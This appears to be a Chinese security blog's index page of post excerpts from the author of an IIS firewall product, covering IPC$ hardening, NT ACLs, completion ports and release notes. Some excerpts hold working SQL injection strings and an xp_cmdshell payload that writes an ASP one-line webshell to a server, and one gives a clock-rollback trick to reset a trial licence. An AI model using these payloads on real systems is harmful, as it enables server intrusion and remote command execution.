如果有人说能用IE恶搞迷刷什么刷什么的，请不要相信！

我的QQ微博 http://t.qq.com/d99net

为了防止别人冒充，所以把QQ微博的网址帖一下，我只有这个QQ微博别的都不是我的了！

查看更多...

如果你使用此ASP 进行入侵参透，有什么问题，后果自负哦~~~

扫描结果


此工具能为你提供一个目录读写信息,为你服务器安全提供一个参考！
此ASP代码是用于服务器的ASP网站的，当然需支持ASP的服务器才能正常运行此ASP程序了！

查看更多...

我记性不好，所以把常用的注入代码记录下来，有点乱，但对我来说，还算很有用，希望大家也会喜欢！

//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限

查看更多...

IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。简单点说就是通过你的系统帐号和密码登陆你的系统的一个通道！而 IPC$ 并不算是一个漏洞，但因一般电脑用户设置系统的密码为空，这就成为一个可给利用的漏洞了！别人用管理员权限的帐号和空密码登陆你的系统后，别人就可以开共享，执行命令、程序、木马，还可以删除你的系统文件，危险性极大！

怎样防范
--------------------------------------------------------------------
请把你系统帐号设置为非空的密码，而密码不能太简单！这样，别人就扫描不出你的密码！当然要你记得住，如果自己都记不住那就。。。。
请加一个防火墙，把IPC相关的端口禁止外网访问！
端口如下：

查看更多...

1、   用^转义字符来写ASP(一句话木马)文件的方法:
?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- 

?   echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2、   显示SQL系统版本： 
?   http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION) 

查看更多...

浅谈NT的ACL，令牌，权限与安全性问题
-----另一种克隆帐号的途径 
 

作者：刺（aXis）

来源：www.3389.net


摘要：关于nt的acl,token,and privilege的，以及通过privilege绕过acl,达到访问文件的目的。可以说是另一种克隆administrator的方法，不过更隐蔽，利用起来难度较大，需要绕过检测才行，目前取的的突破是利用权限绕过acl。
 

查看更多...

摘自《Networking Programming for Microsoft Windows》第八章

“完成端口”模型是迄今为止最为复杂的一种I/O模型。然而，假若一个应用程序同时需要管理为数众多的套接字，那么采用这种模型，往往可以达到最佳的系统性能！

从本质上说，完成端口模型要求我们创建一个Win32完成端口对象，通过指定数量的线程，对重叠I/O请求进行管理，以便为已经完成的重叠I/O请求提供服务。

使用这种模型之前，首先要创建一个I/O完成端口对象，用它面向任意数量的套接字句柄，管理多个I/O请求。要做到这一点，需要调用CreateCompletionPort函数。
该函数定义如下：
HANDLE CreateIoCompletionPort(
    HANDLE FileHandle,
    HANDLE ExistingCompletionPort,

查看更多...

请到这里查看
http://bbs.d99net.net/thread.php?fid=4

为了更好的让用户反馈 D盾 问题,1月4号建了个论坛,方便用户反馈问题。有软件问题请和我说说吧。
因时间有限，所以论坛暂时不会有太多内容，只作反馈之用。
到于用户 反馈 的问题，将在最近的版本更新。因正在研究 3389 相关防御功能，须测试和编写代码，新版本需要点时间。 

D盾_IIS防火墙 主页 http://security.d99net.net/
论址地址：http://bbs.d99net.net/index.php?m=bbs

查看更多...

2011-12-14  V1.36 版
对“星外”主机的特殊情况做兼容处理。
目录设置加载是否禁止生成特殊文件。
下载：停止下载

2011-12-12  V1.35 版
有用户反映，因新版限制过严格，导致ASPX不正常，请新搞一个版本，目录信息可以由用户修改，应该生成DLL问题已没有。

下载：停止下载

也提供旧版本(V1.32)的下载 :停止下载

查看更多...

你可以现在 把时间修改至 12月30日 再重新开打软件，软件的激活按钮变为可用，你点击一下，将重新激活软件,将自动激活60天使用期(以服务器时间为准)，到期后再重新激活。请激活后调回正常的时间。

查看更多...